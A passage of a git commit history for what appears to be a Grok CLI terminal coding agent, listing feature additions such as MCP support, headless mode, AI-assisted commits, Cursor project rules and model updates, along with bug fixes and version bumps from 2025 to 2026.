- Flat model list without category sections
- Blue accent color for current model highlight
- Fit-to-content modals with max height cap and scroll
- scrollChildIntoView for arrow key navigation
- Trim logo height by removing decorative lines
- Add accent color to theme

Made-with: Cursor
2026-03-18 15:29:00 +01:00
f25b36a0f2 Add AGENTS.md for Cursor Cloud development environment setup (#144)
* Add AGENTS.md with Cursor Cloud specific development instructions

- Document known issues: broken ESLint config, dev mode type-only import bug, Grok API 410 error
- Include quick reference table for common development commands
- Note environment requirements (Bun, GROK_API_KEY)

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* Update bun.lock after dependency install

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>
2026-03-17 23:53:51 +01:00
e763e2f472 feat: add Cursor project rules for Grok CLI (#143)
Add .cursor/rules/ with MDC rule files covering:
- project-overview.mdc: architecture, tech stack, key patterns
- typescript-conventions.mdc: ESM imports, naming, type practices
- react-ink-components.mdc: Ink terminal UI component guidelines
- tools-and-agent.mdc: agent loop, tool interface, adding new tools
- development-workflow.mdc: scripts, env vars, CI checklist

Update .gitignore to clarify .cursor/ is tracked.

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>
2026-03-17 22:26:56 +01:00
Ismail Pelaseyed 9d11b16fbf add model migration manager and new grok models (#124) 2025-11-27 16:15:25 +01:00
Ismail Pelaseyed 12a799f665 fix import and shebang issues 2025-10-01 08:31:34 +02:00
Ismail Pelaseyed 23e2a50289 fix issue with node build (#92) 2025-09-30 08:12:24 +02:00
Ismail Pelaseyed 76e36188d5 fix issue with text-editor tool 2025-09-30 08:08:08 +02:00
Ismail Pelaseyed 5cb66fafac fix issue with building for bun and npm (#87) 2025-09-26 14:44:08 +02:00
Ismail Pelaseyed 4533b2543a bump sdk 2025-09-13 20:07:13 +02:00
Ismail Pelaseyed 7a7f197922 minor tweaks 2025-09-12 16:47:25 +02:00
Ismail Pelaseyed 32812bc59e bump version 2025-09-12 15:58:30 +02:00
Ismail Pelaseyed bc8a7e21d7 fix issue with multi-word processing 2025-09-12 08:51:51 +02:00
Ismail Pelaseyed a8e96bc78d minor tweaks 2025-09-12 07:42:09 +02:00
Ismail Pelaseyed 4913ab1f48 add support for initial message and grok-code-fast-1 2025-09-12 07:38:12 +02:00
Ismail Pelaseyed f9fa972130 bump deps 2025-08-05 10:28:10 +02:00
Ismail Pelaseyed ff827e2eb4 minor tweaks 2025-08-04 22:11:55 +02:00
Ismail Pelaseyed d07d5f0691 bump sdk 2025-08-04 20:45:50 +02:00
Ismail Pelaseyed 3ed04b3228 fix cursor movement in chat input (#64) 2025-08-04 20:22:04 +02:00
Ismail Pelaseyed 243436d0de add a max tool round options (#63) 2025-08-04 17:50:08 +02:00
Ismail Pelaseyed 346097acab minor tweaks 2025-07-29 18:34:54 +02:00
Ismail Pelaseyed c7eacf7f37 add support for returning openai message objects in headless mode (#54) 2025-07-28 22:42:23 +02:00
Ismail Pelaseyed c4048a5926 update model config (#53) 2025-07-28 22:12:06 +02:00
Ismail Pelaseyed 2ab375111b fix issue with /exit command (#51) 2025-07-28 13:02:09 +02:00
Ismail Pelaseyed c3fc1f7784 fix issue with search params for non grok models (#50) 2025-07-28 12:58:23 +02:00
Ismail Pelaseyed 15220294c0 bump SDK 2025-07-26 00:58:16 +02:00
Ismail Pelaseyed 9c1d82be3c feat: add support for mcp (#44)
* wip

* add support for mcp tools

* minor tweaks to shutting down app
2025-07-26 00:57:27 +02:00
Ismail Pelaseyed 9642bdaeef feat: git commands (#41)
* feat: add /commit-and-push for AI-generated commits and pushes

* fix: handle missing upstream branch in git push

* feat: add git commit-and-push subcommand with AI assistance

* feat: automate staging changes with git add in commit workflow

* chore: bump version to 0.0.12

* revert package json

* chore(release): bump version to 0.0.12
2025-07-25 00:45:30 +02:00
Ismail Pelaseyed c00feda728 feat: save selected model (#39)
* fix issues with token counting

* save selected model

* minor tweaks
2025-07-24 23:34:22 +02:00
Ismail Pelaseyed e04a6ee126 fix flickering UI in Powershell (#36)
* fix rendering issues in Ink

* fix tool names
2025-07-23 22:57:16 +02:00
Ismail Pelaseyed 5095eb636d bump sdk version (#35)
* bump sdk version

* fix security issues
2025-07-23 22:41:29 +02:00
Ismail Pelaseyed 00f8d113df fix issues with token counting (#33) 2025-07-23 14:54:47 +02:00
Ismail Pelaseyed f020b1d4d8 add support for headless mode (#31) 2025-07-23 06:30:08 +02:00
Ismail Pelaseyed 5c3ba942ea add support for ripgrep search (#30) 2025-07-23 06:19:23 +02:00
Ismail Pelaseyed 855f308a7c minor design tweaks 2025-07-22 16:21:36 +02:00
Ismail Pelaseyed 2ba6bfb831 bump cli version 2025-07-22 15:33:32 +02:00
Ismail Pelaseyed 5183e4d3b5 feat: add support for auto-edit toggle (#24)
* add support for auto-edit toggle

* minor tweaks to tool calling
2025-07-22 15:28:23 +02:00
Ismail Pelaseyed 1d45dd3d9e add support for Grok live search (#20) 2025-07-22 11:42:04 +02:00
Ismail Pelaseyed 1753bbf332 Update README.md 2025-07-21 15:36:52 +02:00